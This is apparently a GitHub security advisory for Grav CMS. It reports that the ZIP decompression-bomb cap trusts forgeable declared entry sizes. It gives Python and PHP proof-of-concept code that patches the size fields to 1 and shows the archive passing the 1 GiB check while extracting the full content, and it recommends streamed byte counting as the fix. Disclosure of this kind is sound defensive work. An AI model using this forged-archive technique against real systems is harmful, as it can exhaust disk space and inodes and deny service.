GHSA-8h9x-89f2-m7x3: Medium severity composer/getgrav/grav vulnerability

Summary

The decompression-bomb bound added in 2.0.1 (commit 1c1003c) sums ZipArchive::statIndex($i)['size'] and rejects an archive whose declared uncompressed total exceeds system.gpm.archive.maxuncompressedsize (default 1 GiB) before extracting (ZipArchiver.php:77-86; same logic in GPM\Installer::unZip at Installer.php:228-238). statIndex()['size'] is the uncompressed size declared in the ZIP central directory, which is attacker-forgeable and is not checked against the actual inflated stream. An archive declaring 1 byte per entry passes the cap while extractTo() writes the real (large) content. The entry-count and nesting-depth caps count real structure and still hold; only the size dimension is defeated, so the disk-fill / inode-exhaustion case the bound targets is not prevented. Incomplete fix for GHSA-928x-9mpw-8h56.

Details

extract()/unZip() validate every entry up front, then call Folder::create + extractTo. The size check is:

php $totalSize += (int) $stat['size']; // declared central-directory size if ($maxSize > 0 && $totalSize > $maxSize) { ... reject ... }

$stat['size'] is read from the central directory, which the archive author writes. libzip does not cross-check declared-vs-actual size during extractTo, so a forged-small value passes the gate and the real stream inflates to disk. The maxfiles (entry count) and maxdepth (entry-name segments) checks are not forgeable this way.

PoC

Build a 10 KiB deflate ZIP of 10 MiB of zeros, patch both uncompressed-size fields (local header + central directory) to 1:

python import zipfile, struct data = b'\x00' (1010241024) with zipfile.ZipFile('bomb.zip','w',zipfile.ZIPDEFLATED) as z: z.writestr('big.bin', data) raw = bytearray(open('bomb.zip','rb').read()) raw = raw.replace(struct.pack('<I', 1010241024), struct.pack('<I', 1)) open('bombforged.zip','wb').write(raw)

Drive the exact pre-extraction loop, then extract:

php $zip = new ZipArchive(); $zip->open('bombforged.zip'); $total = 0; for ($i = 0; $i < $zip->count(); $i++) { $total += (int) $zip->statIndex($i)['size']; } // => $total === 1 (what the 1 GiB bound checks: PASSES) $zip->extractTo('/tmp/zout'); // => filesize('/tmp/zout/big.bin') === 10485760 (written despite the cap)

Verified on Grav 2.0.1 (6f619f0ae), PHP 8.4.22, libzip 1.7.3.

Impact

A forged archive fills the disk / exhausts inodes during extraction. Reached via GPM\Installer::unZip (gpm install / direct-install / self-upgrade) and admin backup restore (ZipArchiver::extract). The archive bytes come from a package source or an admin upload, so the actor sits at admin/operator trust and a consented malicious package already has worse primitives.

Fix

ZipArchiver.php:77-86 and Installer.php:228-238: don't trust the declared size. Extract each entry through a counting stream (ZipArchive::getStream + fread loop) and abort once cumulative written bytes pass maxuncompressedsize, leaving nothing on disk; or check on-disk bytes incrementally during extraction. If the pre-pass stays, treat the declared-size sum as advisory and add the streamed byte counter as the real enforcement. maxfiles and maxdepth remain effective.